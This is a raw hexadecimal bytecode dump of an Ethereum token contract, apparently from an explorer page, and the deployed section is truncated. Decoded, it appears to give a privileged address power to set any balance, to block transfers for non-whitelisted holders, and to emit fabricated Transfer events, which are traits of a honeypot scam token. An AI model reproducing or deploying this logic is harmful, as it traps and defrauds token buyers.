f1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290612e4d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612b4c565b60405180910390fd5b8060128190555050565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610dbe57600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc2565b6013545b9050919050565b610dd1611bc0565b73ffffffffffffffffffffffffffffffffffffffff16610def611022565b73ffffffffffffffffffffffffffffffffffffffff1614610e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3c90612eb9565b60405180910390fd5b610e4f6000611bc8565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612b4c565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f7b9190612531565b6020604051808303816000875af1158015610f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbe9190612eee565b6040518363ffffffff1660e01b8152600401610fdb929190612dd8565b6020604051808303816000875af1158015610ffa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101e9190612f30565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461105a906128d1565b80601f0160208091040260200160405190810160405280929190818152602001828054611086906128d1565b80156110d35780601f106110a8576101008083540402835291602001916110d3565b820191906000526020600020905b8154815290600101906020018083116110b657829003601f168201915b5050505050905090565b600080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156111a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119990612fa9565b60405180910390fd5b6111af33858584036116db565b600191505092915050565b60006111c73384846118a4565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890612e4d565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561133a5761133982600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546116db565b5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c590612b4c565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601254905090565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114d1611bc0565b73ffffffffffffffffffffffffffffffffffffffff166114ef611022565b73ffffffffffffffffffffffffffffffffffffffff1614611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612eb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061303b565b60405180910390fd5b6115bd81611bc8565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164790612b4c565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611741906130a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b090613113565b60405180910390fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611897919061247d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a9061317f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611982576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611979906131eb565b60405180910390fd5b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613257565b60405180910390fd5b611a14848484611c8c565b611a1f848484611ee6565b600060125414611ab957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d686012546040518263ffffffff1660e01b8152600401611a86919061247d565b600060405180830381600087803b158015611aa057600080fd5b505af1158015611ab4573d6000803e3d6000fd5b505050505b818103600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b4e9190612acc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb2919061247d565b60405180910390a350505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d385750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d455750600d5481115b15611ee157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee05760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480611e485750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ea05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed690613257565b60405180910390fd5b5b5b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fb45750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611fc15750600d5481115b801561201b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120c55750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061211d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61215c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121539061317f565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561219c578082015181840152602081019050612181565b60008484015250505050565b6000601f19601f8301169050919050565b60006121c482612162565b6121ce818561216d565b93506121de81856020860161217e565b6121e7816121a8565b840191505092915050565b6000602082019050818103600083015261220c81846121b9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061225382612228565b9050919050565b61226381612248565b811461226e57600080fd5b50565b6000813590506122808161225a565b92915050565b6000819050919050565b61229981612286565b81146122a457600080fd5b50565b6000813590506122b681612290565b92915050565b600080604083850312156122d3576122d261221e565b5b60006122e185828601612271565b92505060206122f2858286016122a7565b9150509250929050565b60008115159050919050565b612311816122fc565b82525050565b600060208201905061232c6000830184612308565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261235757612356612332565b5b8235905067ffffffffffffffff81111561237457612373612337565b5b6020830191508360208202830111156123905761238f61233c565b5b9250929050565b60008083601f8401126123ad576123ac612332565b5b8235905067ffffffffffffffff8111156123ca576123c9612337565b5b6020830191508360208202830111156123e6576123e561233c565b5b9250929050565b600080600080604085870312156124075761240661221e565b5b600085013567ffffffffffffffff81111561242557612424612223565b5b61243187828801612341565b9450945050602085013567ffffffffffffffff81111561245457612453612223565b5b61246087828801612397565b925092505092959194509250565b61247781612286565b82525050565b6000602082019050612492600083018461246e565b92915050565b6000806000606084860312156124b1576124b061221e565b5b60006124bf86828701612271565b93505060206124d086828701612271565b92505060406124e1868287016122a7565b9150509250925092565b600060ff82169050919050565b612501816124eb565b82525050565b600060208201905061251c60008301846124f8565b92915050565b61252b81612248565b82525050565b60006020820190506125466000830184612522565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612584826121a8565b810181811067ffffffffffffffff821117156125a3576125a261254c565b5b80604052505050565b60006125b6612214565b90506125c2828261257b565b919050565b600067ffffffffffffffff8211156125e2576125e161254c565b5b602082029050602081019050919050565b6000612606612601846125c7565b6125ac565b905080838252602082019050602084028301858111156126295761262861233c565b5b835b81811015612652578061263e8882612271565b84526020840193505060208101905061262b565b5050509392505050565b600082601f83011261267157612670612332565b5b81356126818482602086016125f3565b91505092915050565b600080604083850312156126a1576126a061221e565b5b600083013567ffffffffffffffff8111156126bf576126be612223565b5b6126cb8582860161265c565b92505060206126dc858286016122a7565b9150509250929050565b6126ef816122fc565b81146126fa57600080fd5b50565b60008135905061270c816126e6565b92915050565b600080604083850312156127295761272861221e565b5b600061273785828601612271565b9250506020612748858286016126fd565b9150509250929050565b6000602082840312156127685761276761221e565b5b6000612776848285016122a7565b91505092915050565b6000602082840312156127955761279461221e565b5b60006127a384828501612271565b91505092915050565b6000819050919050565b60006127d16127cc6127c784612228565b6127ac565b612228565b9050919050565b60006127e3826127b6565b9050919050565b60006127f5826127d8565b9050919050565b612805816127ea565b82525050565b600060208201905061282060008301846127fc565b92915050565b6000806040838503121561283d5761283c61221e565b5b600061284b85828601612271565b925050602061285c85828601612271565b9150509250929050565b6000612871826127d8565b9050919050565b61288181612866565b82525050565b600060208201905061289c6000830184612878565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128e957607f821691505b6020821081036128fc576128fb6128a2565b5b50919050565b7f4c656e677468206f66206164647265737365732073686f756c6420626520657160008201527f75616c20746f20616d6f756e7473000000000000000000000000000000000000602082015250565b600061295e602e8361216d565b915061296982612902565b604082019050919050565b6000602082019050818103600083015261298d81612951565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129fd82612286565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a2f57612a2e6129c3565b5b600182019050919050565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a9660218361216d565b9150612aa182612a3a565b604082019050919050565b60006020820190508181036000830152612ac581612a89565b9050919050565b6000612ad782612286565b9150612ae283612286565b9250828201905080821115612afa57612af96129c3565b5b92915050565b7f215f616464726573733000000000000000000000000000000000000000000000600082015250565b6000612b36600a8361216d565b9150612b4182612b00565b602082019050919050565b60006020820190508181036000830152612b6581612b29565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bc357808604811115612b9f57612b9e6129c3565b5b6001851615612bae5780820291505b8081029050612bbc85612b6c565b9450612b83565b94509492505050565b600082612bdc5760019050612c98565b81612bea5760009050612c98565b8160018114612c005760028114612c0a57612c39565b6001915050612c98565b60ff841115612c1c57612c1b6129c3565b5b8360020a915084821115612c3357612c326129c3565b5b50612c98565b5060208310610133831016604e8410600b8410161715612c6e5782820a905083811115612c6957612c686129c3565b5b612c98565b612c7b8484846001612b79565b92509050818404811115612c9257612c916129c3565b5b81810290505b9392505050565b6000612caa82612286565b9150612cb5836124eb565b9250612ce27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612bcc565b905092915050565b6000612cf582612286565b9150612d0083612286565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d3957612d386129c3565b5b828202905092915050565b6000612d4f82612286565b9150612d5a83612286565b9250828203905081811115612d7257612d716129c3565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612db282612286565b9150612dbd83612286565b925082612dcd57612dcc612d78565b5b828204905092915050565b6000604082019050612ded6000830185612522565b612dfa602083018461246e565b9392505050565b7f215f61646472657373302e6e6f74204f776e6572000000000000000000000000600082015250565b6000612e3760148361216d565b9150612e4282612e01565b602082019050919050565b60006020820190508181036000830152612e6681612e2a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ea360208361216d565b9150612eae82612e6d565b602082019050919050565b60006020820190508181036000830152612ed281612e96565b9050919050565b600081519050612ee881612290565b92915050565b600060208284031215612f0457612f0361221e565b5b6000612f1284828501612ed9565b91505092915050565b600081519050612f2a816126e6565b92915050565b600060208284031215612f4657612f4561221e565b5b6000612f5484828501612f1b565b91505092915050565b7f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000600082015250565b6000612f93601e8361216d565b9150612f9e82612f5d565b602082019050919050565b60006020820190508181036000830152612fc281612f86565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061302560268361216d565b915061303082612fc9565b604082019050919050565b6000602082019050818103600083015261305481613018565b9050919050565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b6000613091601d8361216d565b915061309c8261305b565b602082019050919050565b600060208201905081810360008301526130c081613084565b9050919050565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b60006130fd601b8361216d565b9150613108826130c7565b602082019050919050565b6000602082019050818103600083015261312c816130f0565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b6000613169601e8361216d565b915061317482613133565b602082019050919050565b600060208201905081810360008301526131988161315c565b9050919050565b7f5472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b60006131d5601c8361216d565b91506131e08261319f565b602082019050919050565b60006020820190508181036000830152613204816131c8565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000613241601f8361216d565b915061324c8261320b565b602082019050919050565b6000602082019050818103600083015261327081613234565b905091905056fea26469706673582212207fe5988dadf774001b2ee241b1dea498ded1af5b7ee9d97e9dbf47a5ed4669c464736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063c1b5f12c11610097578063dd62ed3e11610071578063dd62ed3e146104a8578063f2fde38b146104d8578063f835006d146104f4578063f887ea40146104fe576101a9565b8063c1b5f12c14610450578063c92aecc41461046c578063cab131331461048a576101a9565b806395d89b41116100d357806395d89b41146103b6578063a457c2d7146103d4578063a9059cbb14610404578063adc9740c14610434576101a9565b8063715018a614610372578063894760691461037c5780638da5cb5b14610398576101a9565b80633950935111610166578063512d7cfd11610140578063512d7cfd146102ee5780635b4ebf0b1461030a5780636f8d9cc91461032657806370a0823114610342576101a9565b8063395093511461028457806349197cb3146102b457806349bd5a5e146102d0576101a9565b806306fdde03146101ae578063095ea7b3146101cc578063153a1f3e146101fc57806318160ddd1461021857806323b872dd14610236578063313ce56714610266575b600080fd5b6101b661051c565b6040516101c391906121f2565b60405180910390f35b6101e660048036038101906101e191906122bc565b6105ae565b6040516101f39190612317565b60405180910390f35b610216600480360381019061021191906123ed565b610654565b005b610220610717565b60405161022d919061247d565b60405180910390f35b610250600480360381019061024b9190612498565b610721565b60405161025d9190612317565b60405180910390f35b61026e61080b565b60405161027b9190612507565b60405180910390f35b61029e600480360381019061029991906122bc565b610814565b6040516102ab9190612317565b60405180910390f35b6102ce60048036038101906102c991906122bc565b6108b2565b005b6102d86109a8565b6040516102e59190612531565b60405180910390f35b6103086004803603810190610303919061268a565b6109ce565b005b610324600480360381019061031f9190612712565b610bab565b005b610340600480360381019061033b9190612752565b610c96565b005b61035c6004803603810190610357919061277f565b610d30565b604051610369919061247d565b60405180910390f35b61037a610dc9565b005b6103966004803603810190610391919061277f565b610e51565b005b6103a0611022565b6040516103ad9190612531565b60405180910390f35b6103be61104b565b6040516103cb91906121f2565b60405180910390f35b6103ee60048036038101906103e991906122bc565b6110dd565b6040516103fb9190612317565b60405180910390f35b61041e600480360381019061041991906122bc565b6111ba565b60405161042b9190612317565b60405180910390f35b61044e60048036038101906104499190612712565b6111d1565b005b61046a6004803603810190610465919061277f565b61133e565b005b610474611412565b604051610481919061280b565b60405180910390f35b610492611438565b60405161049f919061247d565b60405180910390f35b6104c260048036038101906104bd9190612826565b611442565b6040516104cf919061247d565b60405180910390f35b6104f260048036038101906104ed919061277f565b6114c9565b005b6104fc6115c0565b005b6105066116b5565b6040516105139190612887565b60405180910390f35b60606004805461052b906128d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610557906128d1565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b5050505050905090565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d686012546040518263ffffffff1660e01b815260040161060d919061247d565b600060405180830381600087803b15801561062757600080fd5b505af115801561063b573d6000803e3d6000fd5b5050505061064a3384846116db565b6001905092915050565b81819050848490501461069c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069390612974565b60405180910390fd5b60005b84849050811015610710576106f48585838181106106c0576106bf612994565b5b90506020020160208101906106d5919061277f565b8484848181106106e8576106e7612994565b5b905060200201356111ba565b6106fd57600080fd5b8080610708906129f2565b91505061069f565b5050505050565b6000600854905090565b600061072e8484846118a4565b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e990612aac565b60405180910390fd5b6107ff85338584036116db565b60019150509392505050565b60006012905090565b60006108a8338484600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108a39190612acc565b6116db565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093990612b4c565b60405180910390fd5b61094a61080b565b600a6109569190612c9f565b816109619190612cea565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005a90508160138190555060005b8351811015610a96578381815181106109f9576109f8612994565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a5761080b565b600a610a639190612c9f565b86610a6e9190612cea565b604051610a7b919061247d565b60405180910390a38080610a8e906129f2565b9150506109dd565b506000803690506010610aa99190612cea565b615208610ab69190612acc565b905060005a8383610ac79190612acc565b610ad19190612d44565b9050600061a3db61374a83610ae69190612acc565b610af09190612da7565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663079d229f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b71929190612dd8565b600060405180830381600087803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b50505050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290612e4d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612b4c565b60405180910390fd5b8060128190555050565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610dbe57600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc2565b6013545b9050919050565b610dd1611bc0565b73ffffffffffffffffffffffffffffffffffffffff16610def611022565b73ffffffffffffffffffffffffffffffffffffffff1614610e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3c90612eb9565b60405180910390fd5b610e4f6000611bc8565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612b4c565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f7b9190612531565b6020604051808303816000875af1158015610f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbe9190612eee565b6040518363ffffffff1660e01b8152600401610fdb929190612dd8565b6020604051808303816000875af1158015610ffa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101e9190612f30565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461105a906128d1565b80601f0160208091040260200160405190810160405280929190818152602001828054611086906128d1565b80156110d35780601f106110a8576101008083540402835291602001916110d3565b820191906000526020600020905b8154815290600101906020018083116110b657829003601f168201915b5050505050905090565b600080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156111a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119990612fa9565b60405180910390fd5b6111af33858584036116db565b600191505092915050565b60006111c73384846118a4565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890612e4d565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561133a5761133982600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546116db565b5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c590612b4c565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601254905090565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114d1611bc0565b73ffffffffffffffffffffffffffffffffffffffff166114ef611022565b73ffffffffffffffffffffffffffffffffffffffff1614611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612eb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061303b565b60405180910390fd5b6115bd81611bc8565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164790612b4c565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611741906130a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b090613113565b60405180910390fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611897919061247d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a9061317f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611982576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611979906131eb565b60405180910390fd5b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a09576040517f08c379a0000000000000000000000000